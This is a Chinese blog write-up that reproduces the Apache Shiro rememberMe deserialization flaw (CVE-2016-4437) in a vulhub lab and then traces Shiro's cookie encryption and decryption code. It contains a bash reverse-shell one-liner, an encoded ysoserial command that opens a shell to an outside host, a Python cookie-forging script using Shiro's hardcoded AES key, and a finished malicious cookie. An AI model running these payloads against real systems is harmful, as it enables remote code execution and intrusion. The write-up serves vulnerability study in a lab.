shiro反序列化漏洞
2024-2-26 14:34:9 Author: www.freebuf.com(查看原文) 阅读量:18 收藏

## 1、安装docker

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
Pasted image 20240122202459.png## 2、安装docker-compose
pip install docker-compose
Pasted image 20240122203114.png## 3、gitvulhub镜像
git clone https://github.com/vulhub/vulhub.git
Pasted image 20240122203343.png## 4、进入指定目录启动环境
cd vulhub/shiro/CVE-2016-4437
docker compose up
Pasted image 20240126073340.png访问http://IP:8080
Pasted image 20240126073431.png

二、漏洞复现

首先下载ysoserial工具
下载地址:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6
使用java -jar ysoserial.jar查看是否可以正常使用
Pasted image 20240126073645.png构造反弹shell命令

bash -i >& /dev/tcp/ip/port 0>&1

然后放到以下网站进行加密
https://r0yanx.com/tools/java_exec_encode/
Pasted image 20240126074111.png然后使用工具ysoserial执行命令

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNDAvMjM0NSAwPiYx}|{base64,-d}|{bash,-i}(刚刚网站加密后的命令)"

Pasted image 20240126074915.png开始构造cookie
编写一个py脚本,内容如下

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print ("rememberMe={0}".format(payload.decode()))

这个文件得和ysoserial放在同一个文件夹下
然后运行文件

python shiro.py ip:刚刚ysoserial开放的端口(也就是9999)

报错了
Pasted image 20240126080642.png解决方法

pip uninstall crypto pycryptodome (删除已有的pycryptodome)
pip install pycryptodome -i https://pypi.douban.com/simple

成功构造cookie
Pasted image 20240126080849.png

rememberMe=t9HEbOrmSVOcD/6189qiJXYkTBwG2N368YTO+D/YXj3ZFr++0IEulCjiJUNOzefkgljCQE5b8Qh2bHAFDe1R1QD54z8koOeyEIxPgwNCZa57e91QiNw1gD7gxIuA30uZYCK7lHRI82m3Mu/OYbHrKcN+PoYl3Hl0hwLVCppHutppWsorHsXJ2w5xJi5dXyTFs5xXEk8wMR0I3pGIcjHA9u8bBV/aUdaY7z7ucWcbB9m9hySu7JaDELX1hGF4Im5XHnRjBdAeRXJhd/yVaaCoAMSIToqPVlsV4Fa+w3priM6DrLfj9XZTqjZFyRPIgq0jMTBxNVH7traR+h9LQ1A82PZOcmgL2+P4ibcc4LW6FiBFKmr6UL2y764VD8qnFsB3NCanONnFN3GH6P0oBH+ZRA==

开始反弹shell
在登录页面勾选remember me,账号密码随便填,然后发送到repeater
Pasted image 20240126082223.png
Pasted image 20240126082327.png
在kali开启监听
Pasted image 20240126082815.png
将刚刚构造的cookie替换掉原来的cookie,然后点击发送
Pasted image 20240126083121.png
虽然没用反弹成功,但是ysoserial有回显
Pasted image 20240126083252.png

工具使用

将目标url放入红框然后依次点击爆破密钥以及爆破利用链及回显即可利用
Pasted image 20240126112831.png
Pasted image 20240126112800.png
Pasted image 20240126112813.png

加密
Pasted image 20240126115322.png
解密
Pasted image 20240126120403.png

加密

漏洞产生点在CookieRememberMeManager该位置,来看到rememberSerializedIdentity方法。

该方法的作用为使用Base64对指定的序列化字节数组进行编码,并将Base64编码的字符串设置为cookie值。

那么我们就去查看一下该方法在什么地方被调用。

在这可以看到该类继承的AbstractRememberMeManager类调用了该方法。跟进进去查看

发现这个方法被rememberIdentity方法给调用了,同样方式继续跟进。

在这里会发现rememberIdentity方法会被onSuccessfulLogin方法给调用,跟踪到这一步,就看到了onSuccessfulLogin登录成功的方法。

当登录成功后会调用AbstractRememberMeManager.onSuccessfulLogin方法,该方法主要实现了生成加密的RememberMe Cookie,然后将RememberMe Cookie设置为用户的Cookie值。在前面我们分析的rememberSerializedIdentity方法里面去实现了。可以来看一下这段代码。

回到onSuccessfulLogin这个地方,打个断点,然后web登录页面输入root/secret 口令进行提交,再回到IDEA中查看。找到登录成功方法后,我们可以来正向去做个分析,不然刚刚的方式比较麻烦。

这里看到调用了isRememberMe很显而易见得发现这个就是一个判断用户是否选择了Remember Me选项。

如果选择Remember Me功能的话返回true,如果不选择该选项则是调用log.debug方法在控制台输出一段字符。

这里如果为true的话就会调用rememberIdentity方法并且传入三个参数。F7跟进该方法。

前面说过该方法会去生成一个PrincipalCollection对象,里面包含登录信息。F7进行跟进rememberIdentity方法。

查看convertPrincipalsToBytes具体的实现与作用。

跟进该方法查看具体实现。

看到这里其实已经很清晰了,进行了一个序列化,然后返回序列化后的Byte数组。

再来看到下一段代码,这里如果getCipherService方法不为空的话,就会去执行下一段代码。getCipherService方法是获取加密模式。

还是继续跟进查看。

查看调用,会发现在构造方法里面对该值进行定义。

完成这一步后,就来到了这里。

调用encrypt方法,对序列化后的数据进行处理。继续跟进。

这里调用cipherService.encrypt方法并且传入序列化数据,和getEncryptionCipherKey方法。

getEncryptionCipherKey从名字上来看是获取密钥的方法,查看一下,是怎么获取密钥的。

查看调用的时候,发现setCipherKey方法在构造方法里面被调用了。

查看DEFAULT_CIPHER_KEY_BYTES值会发现里面定义了一串密钥

而这个密钥是定义死的。

返回刚刚的加密的地方。

这个地方选择跟进,查看具体实现。

查看到这里发现会传入前面序列化的数组和key值,最后再去调用他的重载方法并且传入序列化数组、key、ivBytes值、generate。

iv的值由generateInitializationVector方法生成,进行跟进。

查看getDefaultSecureRandom方法实现。

返回generateInitializationVector方法继续查看。这个new了一个byte数组长度为16

最后得到这个ivBytes值进行返回。

这里执行完成后就拿到了ivBytes的值了,这里再回到加密方法的地方查看具体加密的实现。

这里调用crypt方法进行获取到加密后的数据,而这个output是一个byte数组,大小是加密后数据的长度加上iv这个值的长度。

在执行完成后序列化的数据已经被进行了AES加密,返回一个byte数组。

执行完成后,来到这一步,然后进行跟进。

到了这里其实就没啥好说的了。后面的步骤就是进行base64加密后设置为用户的Cookie的rememberMe字段中。

解密

由于我们并不知道哪个方法里面去实现这么一个功能。但是我们前面分析加密的时候,调用了AbstractRememberMeManager.encrypt进行加密,该类中也有对应的解密操作。那么在这里就可以来查看该方法具体会在哪里被调用到,就可以追溯到上层去,然后进行下断点。

查看 getRememberedPrincipals方法在此处下断点

跟踪

返回getRememberedPrincipals方法。

在下面调用了convertBytesToPrincipals方法,进行跟踪。

查看decrypt方法具体实现。

和前面的加密步骤类似,这里不做详细讲解。

生成iv值,然后传入到他的重载方法里面。

到了这里执行完后,就进行了AES的解密完成。

还是回到这一步。

这里返回了deserialize方法的返回值,并且传入AES加密后的数据。

进行跟踪该方法。

继续跟踪。

Pasted image 20240126113904.png

到了这步,就会对我们传入进来的AES解密后的数据进行调用readObject方法进行反序列化操作

https://blog.csdn.net/m0_49490199/article/details/135752129
https://www.cnblogs.com/nice0e3/p/14183173.html#%E5%8F%82%E8%80%83%E6%96%87%E7%AB%A0
https://blog.csdn.net/god_zzZ/article/details/108391075


文章来源: https://www.freebuf.com/vuls/392586.html
如有侵权请联系:admin#unsafe.sh